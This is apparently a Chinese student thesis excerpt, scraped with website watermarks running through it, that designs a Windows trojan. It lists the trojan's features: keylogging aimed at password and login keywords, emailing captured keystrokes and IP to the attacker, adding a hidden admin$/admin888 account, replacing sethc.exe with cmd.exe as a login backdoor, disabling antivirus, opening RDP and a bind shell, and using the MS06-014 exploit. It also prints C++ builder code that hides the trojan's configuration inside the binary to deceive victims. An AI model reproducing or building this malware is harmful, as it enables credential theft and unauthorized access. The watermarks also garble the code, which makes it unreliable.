2.3 木马程序功能说明 1. 记录用户键盘输入。记录有如下关键字的:密码,登录,管理,后台,学院,邮箱,系统,远程桌面,管理,Internet, manage, pass, login, cmd.exe, Firefox, Browser 内容来自www.paper51.com
2. 获取本机IP地址 copyright paper51.com 3. 添加管理员admin$密码admin888 内容来自论文无忧网 www.paper51.com
4. 替换系统目录下的sethc.exe为cmd.exe。实现出现系统登录时,不需要知道密码,连按5次SHIFT,就可以调出CMD.EXE,可在CMD.EXE中执行添加管理员的命令,也可以执行EXPLORER.EXE,进而打开桌面等。而远程桌面登录时,也可以通过此项调出CMD.EXE程序 copyright paper51.com 5. 关闭常见防火墙和杀毒软件 paper51.com 6. 打开3389端口 http://www.paper51.com 7. 定时向指定邮箱发送邮件,内容为本机IP和键盘输入 paper51.com 8. 打开设定端口,取得目标主机的cmd权限 copyright paper51.com 9. 把程序安装成服务,实现自启动 copyright paper51.com 10.使用Ms06-014网页木马 内容来自论文无忧网 www.paper51.com
11.编写两个辅助程序 内容来自论文无忧网 www.paper51.com
3 程序设计3.1 辅佐程序设计 http://www.paper51.com
为了使用配置程序,需要设两个辅助程序,来实现合并程序,生成木马程序并将配置文件写入木马程序中。通过VC++6.0,建一个如图1的MFC程序。第一个文件读取按钮,代码如下: 内容来自www.paper51.com void CAddTwoDlg::OnBtnfile1() copyright paper51.com { 内容来自论文无忧网 www.paper51.com CFileDialog dlg(true); copyright paper51.com if(dlg.DoModal()==IDOK) http://www.paper51.com
{ 内容来自www.paper51.com m_file1=dlg.GetPathName(); 内容来自论文无忧网 www.paper51.com UpdateData(0); //将取得的文件名更新到文本框1中 http://www.paper51.com } 内容来自论文无忧网 www.paper51.com } paper51.com 配置木马程序代码: 内容来自www.paper51.com void CNneDlg::OnBtnmake() 内容来自www.paper51.com
{ 内容来自www.paper51.com UpdateData(1); http://www.paper51.com charpath[256]={0}; //文件2 从文件1中分离出来 http://www.paper51.com GetCurrentDirectory(256,path) ;//取得当前文件夹路径! 内容来自论文无忧网 www.paper51.com CStringfile1; copyright paper51.com CStringfile2; 内容来自www.paper51.com
file1.Format("%s\\config.exe",path); paper51.com
file2.Format("%s\\trojan.exe",path); 内容来自www.paper51.com CFilefSource(file1,CFile::modeRead | CFile::modeNoTruncate); paper51.com intiSourceLength = fSource.GetLength(); 内容来自论文无忧网 www.paper51.com fSource.Seek(iSourceLength-30,CFile::begin); 内容来自www.paper51.com charbuffer[40]; http://www.paper51.com ZeroMemory(buffer,40); paper51.com fSource.Read(buffer,30); copyright paper51.com
intiTargetLength = atoi(buffer); http://www.paper51.com fSource.Seek(iSourceLength-iTargetLength-30,CFile::begin); http://www.paper51.com CFilefTarget(file2,CFile::modeCreate|CFile::modeWrite|CFile::modeNoTruncate); 内容来自www.paper51.com char*pBuffer = new char[iTargetLength]; http://www.paper51.com ZeroMemory(pBuffer,iTargetLength); copyright paper51.com fSource.Read(pBuffer,iTargetLength); 内容来自论文无忧网 www.paper51.com fTarget.Write(pBuffer,iTargetLength); paper51.com delete[]pBuffer; 内容来自www.paper51.com
fSource.Close(); copyright paper51.com fTarget.Close(); 内容来自www.paper51.com
CStringfile3; //将配置写入一文本文件 内容来自www.paper51.com file3.Format("%s\\config.txt",path); http://www.paper51.com FILE*pFile=fopen(file3,"w+"); 内容来自www.paper51.com
fwrite(m_smtp,1,m_smtp.GetLength(),pFile); 内容来自论文无忧网 www.paper51.com
charch=10; 内容来自www.paper51.com
fputc(ch,pFile); 内容来自论文无忧网 www.paper51.com //将邮箱用户名加密 copyright paper51.com fwrite(encrypt(m_username),1,encrypt(m_username).GetLength(),pFile); copyright paper51.com
fwrite(m_username,1,m_username.GetLength(),pFile); 内容来自www.paper51.com fputc(ch,pFile); copyright paper51.com fwrite(m_password,1,m_password.GetLength(),pFile); paper51.com fputc(ch,pFile); paper51.com
CStringxxx; copyright paper51.com GetDlgItemText(IDC_EDIT_time,xxx); 内容来自www.paper51.com fwrite(xxx,1,xxx.GetLength(),pFile); http://www.paper51.com fputc(ch,pFile); copyright paper51.com CStringpport; copyright paper51.com GetDlgItemText(IDC_EDIT_port,pport); http://www.paper51.com fwrite(pport,1,pport.GetLength(),pFile); 内容来自论文无忧网 www.paper51.com fputc(ch,pFile); 内容来自论文无忧网 www.paper51.com
fclose(pFile); paper51.com copyright paper51.com //将配置文件加到程序尾部 内容来自论文无忧网 www.paper51.com
CFilefff(file2,CFile::modeReadWrite | CFile::modeNoTruncate); 内容来自www.paper51.com fff.SeekToEnd(); copyright paper51.com
CFilefConfigFile(file3,CFile::modeRead | CFile::modeNoTruncate); copyright paper51.com intilen = fConfigFile.GetLength(); copyright paper51.com intlen = ilen; http://www.paper51.com
char*pBuff = new char[ilen]; http://www.paper51.com ZeroMemory(pBuff,ilen); 内容来自论文无忧网 www.paper51.com
fConfigFile.Read(pBuff,ilen); 内容来自论文无忧网 www.paper51.com fff.Write(pBuff,ilen); copyright paper51.com
fConfigFile.Close(); 内容来自论文无忧网 www.paper51.com
deletepBuff; paper51.com chartempBuff[30]; copyright paper51.com ZeroMemory(tempBuff,30); http://www.paper51.com itoa(ilen,tempBuff,10); 内容来自www.paper51.com
while(strlen(tempBuff) < 30) 内容来自www.paper51.com {strcat(tempBuff,"");} copyright paper51.com
fff.Write(tempBuff,30); http://www.paper51.com
fff.Close(); 内容来自www.paper51.com fConfigFile.Remove(file3); copyright paper51.com
MessageBox("ConfigED."); paper51.com } http://www.paper51.com
//由于 是直接把配置文件放在EXE程序尾部,难免会被人发现 paper51.com //所以 使用此函数把数据加密,以迷惑对方 copyright paper51.com CString CNneDlg::encrypt(CString str) copyright paper51.com { copyright paper51.com if(str.GetLength()==4) 内容来自论文无忧网 www.paper51.com
{ str.Insert(2,"wuha"); } copyright paper51.com
elseif(str.GetLength()==6) paper51.com { str.Insert(2,"qgii"); } 内容来自论文无忧网 www.paper51.com elseif(str.GetLength()==7) 内容来自论文无忧网 www.paper51.com { str.Insert(3,"wa23"); } paper51.com elseif(str.GetLength()==9) http://www.paper51.com { str.Insert(5,"d12d"); } copyright paper51.com else 内容来自论文无忧网 www.paper51.com { str.Insert(1,"mg1g"); } 内容来自www.paper51.com returnstr; 内容来自www.paper51.com
} paper51.com 3.2 木马程序设计 内容来自论文无忧网 www.paper51.com 木马开启设定后门,主要是通过是以新建一个线程的形式。程序运行后,先把自身复制到系统盘中,然后把系统盘中的程序设成服务,然后开启3389端口,添加系统管理员,且把系统盘中的sethc.exe换成cmd.exe,实现用户登录时,不输入密码,直接按5次shift健,调出cmd.exe程序,并另开一个线程实现键盘记录,当用户按键时,就将当前窗口标题及按键内容记录到一个文件中,到了设定的邮件发送时间,就把该文件的内容发送到设定的邮箱中,在发送邮件前,会关闭常见的杀毒软件和防火墙。 http://www.paper51.com |